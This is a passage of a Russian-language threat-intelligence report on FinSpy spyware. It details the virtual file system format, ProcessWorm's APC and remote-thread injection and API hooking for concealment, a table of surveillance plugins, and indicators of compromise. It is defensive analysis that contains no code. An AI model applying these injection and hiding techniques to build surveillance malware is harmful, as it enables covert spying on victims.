В конфигурации вредоносного ПО указаны один или несколько командных серверов, к которым оно может подключиться. Если сервер недоступен, бэкдор использует один из запасных адресов. FinSpy не обменивается данными с командным сервером напрямую из winlogon.exe или explorer.exe. Вместо этого он создает процесс браузера по умолчанию со скрытым окном и внедряет в него модуль Communicator. Это позволяет замаскировать обмен данными под легитимный процесс.
Виртуальная файловая система (VFS)
В виртуальной файловой системе скрываются все исполняемые файлы плагинов и их конфигурации. Все виртуальные файлы хранятся в одном файле, видимом из основной файловой системы. Он зашифрован по алгоритму RC4 и имеет следующую структуру:
Смещение файла | Описание |
0x0 | Контрольная сумма CRC32 файла (вычисление контрольной суммы начинается со смещения 4). |
Запись 1 в VFS | |
0x4 | Идентификатор плагина, соответствующего файлу. Конфигурация оркестратора хранится в VFS с идентификатором 0xFFFFFFFE. |
0x8 | 0x0, если это конфигурационный файл плагина; 0x2, если это исполняемый файл плагина. |
0xC | Размер файла. |
0x10 | Размер файла (повторно). |
0x14 | Байты тела файла. |
Запись 2 в VFS | |
… | |
Последней записи в VFS присваивается идентификатор, равный 0xFFFFFFFF, и нулевой размер. Она служит маркером окончания VFS. | |
<конец файла> – 0x10 | 0xFFFFFFFF |
<конец файла> – 0xC | 0x0 |
<конец файла> – 0x8 | 0x0 |
<конец файла> – 0x4 | 0x0 |
Доступ к VFS осуществляется через функции управления файлами, перехваченные оркестратором. Например, виртуальные файлы можно создавать или открывать через перехваченную функцию API CreateFileW. Возвращаемое значение перехваченной функции создания файла является дескриптором VFS и представляет собой число в формате 0xFF000XXX.
ProcessWorm
Зловред внедряет ProcessWorm во все процессы, выполняемые в системе. Его основная цель — извлечение конкретной информации о выполняемых процессах и ее отправка оркестратору или плагинам.
ProcessWorm представляет собой DLL-файл, упакованный в шелл-код и обфусцированный с помощью ВМ FinSpy. Есть два способа внедрения ProcessWorm в процессы: создание удаленного потока с шелл-кодом или создание APC (асинхронного вызова процедуры), где адрес процедуры указывает на начало шелл-кода. Второй способ используется для внедрения ProcessWorm в новые процессы.
Поведение кода загрузчика зависит от выбранного типа внедрения. С первым методом внедрения используется простой загрузчик, тогда как загрузчик, вызываемый в случае внедрения через APC, устроен довольно интересно. Асинхронная процедура перехватывает функцию NtTestAlert и прекращает работу. После загрузки исполняемого файла процесса библиотека ntdll.dll вызывает функцию NtTestAlert. Ее модифицированная версия сначала вызывает исходную функцию NtTestAlert, а затем инициирует рефлексивный загрузчик ProcessWorm.
Этот загрузчик имеет интересное свойство. При обработке импортов он не назначает указатель функции каждой записи в таблице IAT. Вместо этого записи в IAT указывают на буферы случайно сгенерированного мусорного кода. Этот код получает адрес целевой функции API, применяя операцию XOR к двум числам, а затем переходит по этому адресу.
Пример мусорного кода, созданного загрузчиком ProcessWorm. Полезные инструкции выделены желтым
ProcessWorm ведет себя как червь и внедряется в процессы, созданные уже зараженным ProcessWorm процессом. Для этого он перехватывает API-функцию CreateProcessInternalW. Если новый процесс создается с флагом DEBUG_PROCESS или DEBUG_ONLY_THIS_PROCESS, перехваченная функция создания процесса удаляет возможный хук функции NtQueueAPCThread и использует ее для создания процедуры APC в новом процессе. Когда запускается новый процесс, ProcessWorm загружается с помощью загрузчика, использующего процедуру APC.
В зависимости от конфигурации зловреда, ProcessWorm может скрывать присутствие FinSpy на зараженном компьютере. Он может скрыть рабочий каталог зловреда, службы, разделы реестра и адреса командных серверов, а также отфильтровать записи в журналах событий, связанные с вредоносной активностью. Чтобы скрыть FinSpy, ProcessWorm перехватывает низкоуровневые API-функции (например, NtEnumerateValueKey или NtQuerySystemInformation).
Остальная вредоносная активность распределяется по хукам различных функций WinAPI. Эти хуки предоставляют информацию плагинам, входящим в пакет зловреда. Примерами такой информации могут быть нажатия клавиш или документы, отправленные на печать.
Оркестратор для macOS и Linux
Оркестратор для macOS/Linux представляет собой упрощенную версию оркестратора для Windows. В отличие от версии для Windows, в нем отсутствуют следующие компоненты:
- Виртуальная файловая система (плагины и конфигурации хранятся в отдельных файлах).
- ProcessWorm (его функции встроены в плагины).
- Модуль связи (оркестратор обменивается данными с командными серверами, не используя дополнительные модули).
- Инструмент мониторинга приложений (оркестратор не сообщает командным серверам о запуске или остановке процессов).
Функциональность оркестратора остается такой же: обмен информацией с командным сервером, распределение команд между плагинами и управление файлами записей.
Обзор плагинов
В таблице ниже приведена краткая информация о плагинах.
Тип и идентификатор плагина | Описание |
FileManager (0x02) | Отправляет, скачивает, ищет, удаляет файлы. Создает записи со списками файлов. |
CommandShell (0x04) | Создает сеансы работы с удаленным терминалом. |
TaskScheduler (0x05) | Создает различные типы записей (списки файлов, запись с микрофона, экрана, веб-камеры) в определенное время, пересылая команды соответствующим плагинам. |
MicRecorder (0x10) | Транслирует аудиоданные с микрофона жертвы или записывает их. |
KeyLogger (0x12) | Транслирует или записывает нажатия клавиш. |
SkypeStealer (0x14) | Перехватывает список контактов, беседы, звонки и пересылаемые файлы в Skype. |
FileModificationRecorder (0x16) | Записывает файлы, которые были изменены. |
FileAccessRecorder (0x17) | Записывает файлы, к которым был осуществлен доступ. |
PrintedFilesRecorder (0x18) | Крадет файлы, которые жертва отправляет на печать. |
FileDeletionRecorder (0x19) | Записывает удаленные файлы. |
ForensicLauncher (0x20) | Собирает данные для анализа, скачивая и выполняя специальные утилиты. (только в Windows) |
VoIPRecorder, VoIPLite (0x21, 0x26) | Записывает звук и делает снимки экрана во время онлайн-бесед. (только в Windows) |
ClickRecorder (0x22) | Делает снимки областей экрана вокруг участков, по которым кликает мышь. |
WebcamRecorder (0x23) | Делает снимки на веб-камеру с определенной частотой кадров и транслирует или сохраняет их. |
ScreenRecorder (0x24) | Делает снимки экрана с определенной частотой кадров и транслирует или сохраняет их. |
BlackberryInfect (0x25) | Заражает мобильные устройства Blackberry вредоносным приложением. (только в Windows) |
EmailRecorder (0x27) | Перехватывает письма в почтовых клиентах Thunderbird, Outlook, Apple Mail и Icedove. |
WiFiRecorder (0x28) | Отслеживает доступные сети Wi-Fi. |
RemovableRecorder (0x29) | Записывает файлы на подключенных съемных носителях. |
CryptoKeyRecorder (0x30) | Записывает ключи шифрования: ключи SSL, сертификаты S/MIME, связки ключей GPG/PGP с кодовыми фразами. (только в Windows) |
Все подробности этого исследования доступны клиентам сервиса информирования об APT-угрозах на нашем портале Threat Intelligence Portal. Они также будут получать дальнейшую информацию о FinSpy, если она появится.
Индикаторы компрометации (IoC)
Ниже представлен неполный список индикаторов компрометации. Клиентам, подписанным на отчеты Kaspersky Threat Intelligence, доступны полные списки индикаторов компрометации и правила YARA, а также более подробная информация об описанной здесь APT-угрозе. Обращайтесь по адресу intelreports@kaspersky.com
Хэш-суммы файлов
5EDF9810355DE986EAD251B297856F38
31F1D208EE740E1FDF9667B2E525F3D7
4994952020DA28BB0AA023D236A6BF3B
262C9241B5F50293CB972C0E93D5D5FC
405BB24ADE435693B11AF1D81E2BB279
EF74C95B1DBDBF9BD231DA1EE99F0A7E
B8A15A0CE29692FBA36A87FCDED971DE
Пути к файлам
\efi\microsoft\boot\en-us\%HEXNUMS% — в разделе EFI на диске
/Library/Frameworks/Storage.framework — в версии для macOS
Мьютексы
SessionImmersiveMutex
WininetStartupMutex0
События
0x0A7F1FFAB12BB2
WinlogonLogon
Debug.Trace.Event.f120.0.v1
TermSrvReadyEvent%HEXNUMS%
SessionImmersiveEvent
Объекты отображения файлов
0x0A7F1FFAB12BB3
windows_shell_global
Почтовые слоты
mailslot\x86_microsoft.windows.c-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_581cd2bf5825dde9
mailslot\x86_microsoft.vc90.mfc_1fc8b3b9a1e18e3b_9.0.30729.6161_none_4bf7e3e2bf9ada4c
mailslot\6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2
mailslot\ConsoleEvent-0x00000DAC—16628266191048322066-650920812-1622683116-1844332734-1046489716-2050906124-443455187
Домены и IP-адреса
45.86.136[.]138
79.143.87[.]216
185.25.51[.]104
109.235.67[.]175
213.252.247[.]105
108.61.190[.]183
185.141.24[.]204
1 Extended BIOS Data Area, расширенная область данных BIOS (https://wiki.osdev.org/Memory_Map_(x86)).
Шпионские инструменты FinSpy: новые находки